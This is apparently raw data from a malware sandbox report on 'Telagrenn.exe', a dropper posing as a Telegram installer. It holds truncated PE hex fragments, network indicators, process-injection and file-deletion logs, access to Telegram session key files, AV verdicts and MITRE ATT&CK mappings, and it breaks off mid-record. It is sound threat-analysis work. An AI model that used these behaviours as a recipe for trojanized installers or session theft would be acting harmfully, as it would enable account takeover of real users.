4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "D5rra.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-CAG3H.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...6f:T464,TCP traffic to 149.154.167.51 on port 443 is sent without HTTP header TCP traffic to 95.161.76.100 on port 443 is sent without HTTP header TCP traffic to 95.161.76.100 on port 80 is sent without HTTP header TCP traffic to 149.154.167.51 on port 80 is sent without HTTP header TCP traffic to 149.154.175.100 on port 443 is sent without HTTP header TCP traffic to 149.154.175.100 on port 80 is sent without HTTP header TCP traffic to 172.64.41.4 on port 443 is sent without HTTP header TCP traffic to 142.251.214.99 on port 443 is sent without HTTP header TCP traffic to 172.217.113.4 on port 443 is sent without HTTP header TCP traffic to 194.221.250.50 on port 443 is sent without HTTP header TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header TCP traffic to 149.154.175.54 on port 443 is sent without HTTP header TCP traffic to 149.154.167.41 on port 443 is sent without HTTP header TCP traffic to 149.154.175.54 on port 80 is sent without HTTP header TCP traffic to 149.154.167.41 on port 80 is sent without HTTP header TCP traffic to 104.21.33.36 on port 443 is sent without HTTP header70:T773,"Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Telegram\adddf.vbe" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\guig.dll" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\setup_temp.gea" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B.tmp" for deletion "Telagrenn.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\genteert.dll" for deletion "tsetup-x64.7.0.2.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" for deletion "tsetup-x64.7.0.2.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-BHBL5.tmp\_isetup\_setup64.tmp" for deletion "Telegram.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\opengl_crash_check" for deletion "Telegram.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a9953.TMP" for deletion "Telegram.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a99a1.TMP" for deletion "Telegram.exe" marked "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41f23bb65d5a09df.customDestinations-ms~RF1a99e0.TMP" for deletion "D5rra.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-DUFEV.tmp\D5rra.tmp" for deletion "D5rra.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-CAG3H.tmp\cf.msi" for deletion "D5rra.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-CAG3H.tmp\CoreLogic.dll" for deletion "D5rra.tmp" marked "C:\Users\%OSUSER%\AppData\Local\Temp\is-CAG3H.tmp\_isetup\_setup64.tmp" for deletion71:T8fe,"Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\GENTEE2B" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram\adddf.vbe" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\guig.dll" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\setup_temp.gea" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B.tmp" with delete access "Telagrenn.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\genteert.dll" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\log_start0.txt" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\CONFIG" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\key_datas.CqXHZE" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\KEY_DATA0" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\KEY_DATA1" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.LDmFnY" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\SETTINGS0" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\SETTINGS1" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\settingss.gAASVn" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.LGfBXv" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF603810" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF603811" with delete access "Telegram.exe" opened "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\tdata\E9A1C5087BF60381s.QXQUvZ" with delete access72:T553,GetStartupInfoA LoadLibraryA WriteFile GetModuleHandleA GetProcAddress GetFileAttributesA CreateDirectoryA GetFileSize VirtualAlloc CreateFileA DeleteFileA GetModuleFileNameA GetTempPathA CreateServiceW RegOpenKeyExW ChangeServiceConfig2W GetUserNameW StartServiceW RegCloseKey VirtualProtect UnhandledExceptionFilter TerminateProcess FindFirstFileExW LoadLibraryExW Sleep CreateFileW GetCommandLineA GetCommandLineW GetStartupInfoW FindNextFileW CreateThread ExitThread GetModuleHandleW FindFirstFileW IsDebuggerPresent GetComputerNameW GetModuleFileNameW GetSystemDirectoryW GetModuleHandleExW FindNextFileA GetTickCount FindFirstFileA OpenProcessToken LoadLibraryExA RegOpenKeyExA RegEnumKeyExA GetFileAttributesW CreateFileMappingA OutputDebugStringA GetSystemInfo MapViewOfFile MapViewOfFileEx DeviceIoControl DeleteFileW GetFileSizeEx CreateFileMappingW GetDriveTypeW SetSecurityDescriptorDacl RegCreateKeyExW RegDeleteValueW RegEnumKeyExW RegDeleteKeyW CreateProcessW GetLogicalDrives OpenProcess LockResource CreateDirectoryW GetVersionExW LoadLibraryW FindResourceW CopyFileW WNetOpenEnumW ShellExecuteW ShellExecuteExW GetLastActivePopup GetCursorPos GetWindowThreadProcessId FindWindowW FindWindowExW GetUpdateRect SetWindowsHookExW SleepConditionVariableSRW RegOpenKeyA73:Tb23,"Telagrenn.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\SysWOW64\cscript.exe" (Handle: 952) "Telagrenn.exe" wrote 00000008 bytes to a remote process "C:\Windows\SysWOW64\cscript.exe" (Handle: 952) "Telagrenn.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\cscript.exe" (Handle: 952) "Telagrenn.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" (Handle: 920) "Telagrenn.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" (Handle: 920) "Telagrenn.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\tsetup-x64.7.0.2.exe" (Handle: 920) "Telagrenn.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" (Handle: 920) "Telagrenn.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" (Handle: 920) "Telagrenn.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\gentee2B\D5rra.exe" (Handle: 920) "tsetup-x64.7.0.2.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" (Handle: 616) "tsetup-x64.7.0.2.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" (Handle: 616) "tsetup-x64.7.0.2.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-MJMQ8.tmp\tsetup-x64.7.0.2.tmp" (Handle: 616) "tsetup-x64.7.0.2.tmp" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1368) "tsetup-x64.7.0.2.tmp" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1368) "tsetup-x64.7.0.2.tmp" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1360) "tsetup-x64.7.0.2.tmp" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1360) "tsetup-x64.7.0.2.tmp" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1364) "tsetup-x64.7.0.2.tmp" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Telegram Desktop\Telegram.exe" (Handle: 1364) "D5rra.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-DUFEV.tmp\D5rra.tmp" (Handle: 616) "D5rra.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-DUFEV.tmp\D5rra.tmp" (Handle: 616) "D5rra.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-DUFEV.tmp\D5rra.tmp" (Handle: 616)74:T400,AAABAAEAICAQsgAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREREAAAAAAAAAAAAAABmZmZmZmZmAAAAAAAAAAAGZmZmZmZmZmAAAAAAAAAGZmZmZmZmZmZmYAAAAAAAZmZmZmZmZmZmZmYAAAAABmZmZmZmZmZmZmZmYAAAAHZmZmZmZmZmZmZmZmcAAABmZmZmZmZmZmZmZmZmAAAGZmZmZmZmZmj4ZmZmZmAARGZmZmZmZmf//2ZmZmZEAGZmZmZmZmaP//92ZmZmZgBmZmZmZmZv////hmZmZmYAZmZmZmdmaP///4ZmZmZmAGZmZnj/+GaP//+GZmZmZgBmZmaP///4aP//9mZmZmYAZmZmZ4///4aP//ZmZmZmAGZmZmZmj///iP/4ZmZmZgBmZmZmZmaI////+GZmZmYAZmZmZmZmZnj///hmZmZmAGZmZmZmZmZmaI/4ZmZmZgBGZmZmZmZmZmZuh2ZmZmQABmZmZmZmZmZmZmZmZmZgAABmZmZmZmZmZmZmZmZmAAAAZmZmZmZmZmZmZmZmZgAAAAZmZmZmZmZmZmZmZmAAAAAAZu7u7u7u7u7u7mYAAAAAAAZu7u7u7u7u7uZgAAAAAAAABm7u7u7u7uZgAAAAAAAAAABmbu7u7uZmAAAAAAAAAAAAAERmZmZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////AP//+AAP/+AAB//AAAP/gAAB/wAAAP8AAAD+AAAAPgAAADwAAAA8AAAAOAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAcAAAAPAAAAD4AAAA+AAAAfwAAAP+AAAD/gAAB/+AAA//wAA///AA///8A///////w==75:T400,AAABAAEAICAQsgAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREREAAAAAAAAAAAAAABmZmZmZmZmAAAAAAAAAAAGZmZmZmZmZmAAAAAAAAAGZmZmZmZmZmZmYAAAAAAAZmZmZmZmZmZmZmYAAAAABmZmZmZmZmZmZmZmYAAAAHZmZmZmZmZmZmZmZmcAAABmZmZmZmZmZmZmZmZmAAAGZmZmZmZmZmj4ZmZmZmAARGZmZmZmZmf//2ZmZmZEAGZmZmZmZmaP//92ZmZmZgBmZmZmZmZv////hmZmZmYAZmZmZmdmaP///4ZmZmZmAGZmZnj/+GaP//+GZmZmZgBmZmaP///4aP//9mZmZmYAZmZmZ4///4aP//ZmZmZmAGZmZmZmj///iP/4ZmZmZgBmZmZmZmaI////+GZmZmYAZmZmZmZmZnj///hmZmZmAGZmZmZmZmZmaI/4ZmZmZgBGZmZmZmZmZmZuh2ZmZmQABmZmZmZmZmZmZmZmZmZgAABmZmZmZmZmZmZmZmZmAAAAZmZmZmZmZmZmZmZmZgAAAAZmZmZmZmZmZmZmZmAAAAAAZu7u7u7u7u7u7mYAAAAAAAZu7u7u7u7u7uZgAAAAAAAABm7u7u7u7uZgAAAAAAAAAABmbu7u7uZmAAAAAAAAAAAAAERmZmZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////AP//+AAP/+AAB//AAAP/gAAB/wAAAP8AAAD+AAAAPgAAADwAAAA8AAAAOAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAcAAAAPAAAAD4AAAA+AAAAfwAAAP+AAAD/gAAB/+AAA//wAA///AA///8A///////w==76:T400,AAABAAEAICAQsgAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREREAAAAAAAAAAAAAABmZmZmZmZmAAAAAAAAAAAGZmZmZmZmZmAAAAAAAAAGZmZmZmZmZmZmYAAAAAAAZmZmZmZmZmZmZmYAAAAABmZmZmZmZmZmZmZmYAAAAHZmZmZmZmZmZmZmZmcAAABmZmZmZmZmZmZmZmZmAAAGZmZmZmZmZmj4ZmZmZmAARGZmZmZmZmf//2ZmZmZEAGZmZmZmZmaP//92ZmZmZgBmZmZmZmZv////hmZmZmYAZmZmZmdmaP///4ZmZmZmAGZmZnj/+GaP//+GZmZmZgBmZmaP///4aP//9mZmZmYAZmZmZ4///4aP//ZmZmZmAGZmZmZmj///iP/4ZmZmZgBmZmZmZmaI////+GZmZmYAZmZmZmZmZnj///hmZmZmAGZmZmZmZmZmaI/4ZmZmZgBGZmZmZmZmZmZuh2ZmZmQABmZmZmZmZmZmZmZmZmZgAABmZmZmZmZmZmZmZmZmAAAAZmZmZmZmZmZmZmZmZgAAAAZmZmZmZmZmZmZmZmAAAAAAZu7u7u7u7u7u7mYAAAAAAAZu7u7u7u7u7uZgAAAAAAAABm7u7u7u7uZgAAAAAAAAAABmbu7u7uZmAAAAAAAAAAAAAERmZmZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////AP//+AAP/+AAB//AAAP/gAAB/wAAAP8AAAD+AAAAPgAAADwAAAA8AAAAOAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAABgAAAAcAAAAPAAAAD4AAAA+AAAAfwAAAP+AAAD/gAAB/+AAA//wAA///AA///8A///////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790695269953,"unified_at":"2026-09-29T15:21:09.953Z","metadata":{"hashes":{"sha256":"f61305f2ea34804e69e91ab5f9f2a09fe673183ef3473437a0b5ddd6d5172f93","sha1":"580fa7a86b2a166e85128eab2ddeb5688eea0560","md5":"cf08611b9d68234025d0ac9631971124","sha512":"6c02a88f3936fead3f0a99c2bd057ae5a64adbdf6efc3fa2e99ee38575d5ec4708ade383dcea859e6673e6126d957d51903547c0fcdf1331e5e3f7b2b39de4d1","ssdeep":"1572864:TAkTeTHKZ/ooSZPPJdztOKooS5zlIsE+RcHyUGb4swG:VmHKZ8ZP7z45oS5z++H5U3G","ssdeep_chunks":["1572864:TAkTeTH","1572864:AkTeTHK","1572864:kTeTHKZ","1572864:TeTHKZ/","1572864:eTHKZ/o","1572864:THKZ/oo","1572864:HKZ/ooS","1572864:KZ/ooSZ","1572864:Z/ooSZP","1572864:/ooSZPP","1572864:ooSZPPJ","1572864:oSZPPJd","1572864:SZPPJdz","1572864:ZPPJdzt","1572864:PPJdztO","1572864:PJdztOK","1572864:JdztOKo","1572864:dztOKoo","1572864:ztOKooS","1572864:tOKooS5","1572864:OKooS5z","1572864:KooS5zl","1572864:ooS5zlI","1572864:oS5zlIs","1572864:S5zlIsE","1572864:5zlIsE+","1572864:zlIsE+R","1572864:lIsE+Rc","1572864:IsE+RcH","1572864:sE+RcHy","1572864:E+RcHyU","1572864:+RcHyUG","1572864:RcHyUGb","1572864:cHyUGb4","1572864:HyUGb4s","1572864:yUGb4sw","1572864:UGb4swG","3145728:TAkTeTH","3145728:AkTeTHK","3145728:kTeTHKZ","3145728:TeTHKZ/","3145728:eTHKZ/o","3145728:THKZ/oo","3145728:HKZ/ooS","3145728:KZ/ooSZ","3145728:Z/ooSZP","3145728:/ooSZPP","3145728:ooSZPPJ","3145728:oSZPPJd","3145728:SZPPJdz","3145728:ZPPJdzt","3145728:PPJdztO","3145728:PJdztOK","3145728:JdztOKo","3145728:dztOKoo","3145728:ztOKooS","3145728:tOKooS5","3145728:OKooS5z","3145728:KooS5zl","3145728:ooS5zlI","3145728:oS5zlIs","3145728:S5zlIsE","3145728:5zlIsE+","3145728:zlIsE+R","3145728:lIsE+Rc","3145728:IsE+RcH","3145728:sE+RcHy","3145728:E+RcHyU","3145728:+RcHyUG","3145728:RcHyUGb","3145728:cHyUGb4","3145728:HyUGb4s","3145728:yUGb4sw","3145728:UGb4swG","1572864:VmHKZ8Z","1572864:mHKZ8ZP","1572864:HKZ8ZP7","1572864:KZ8ZP7z","1572864:Z8ZP7z4","1572864:8ZP7z45","1572864:ZP7z45o","1572864:P7z45oS","1572864:7z45oS5","1572864:z45oS5z","1572864:45oS5z+","1572864:5oS5z++","1572864:oS5z++H","1572864:S5z++H5","1572864:5z++H5U","1572864:z++H5U3","1572864:++H5U3G"],"imphash":"d221b1dc8c3a08622f6512e7876527c8"},"file_info":{"file_name":"Telagrenn.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":75215439,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1790694390000,"last_seen":1790694390000,"last_multi_scan":1790694390000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["qr_code","suspicious","account_takeover"]},"stats":{"av":{"malicious_count":3,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":113},"sandbox_signatures":{"informative_count":288,"suspicious_count":15,"malicious_count":4,"total":307},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Dropped:Trojan.Generic.40412541","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Dropped:Trojan.Generic.40412541 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 00603fd21 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Dropper.Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Initial Access","technique":"Spearphishing Link","attack_id":"T1566.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1566/002","identifiers":[{"type":"informative","value":"Detected QR code in the sample"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Malicious Link","attack_id":"T1204.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/001","sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6abbd3ec8a3f6a99a0003a82"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like 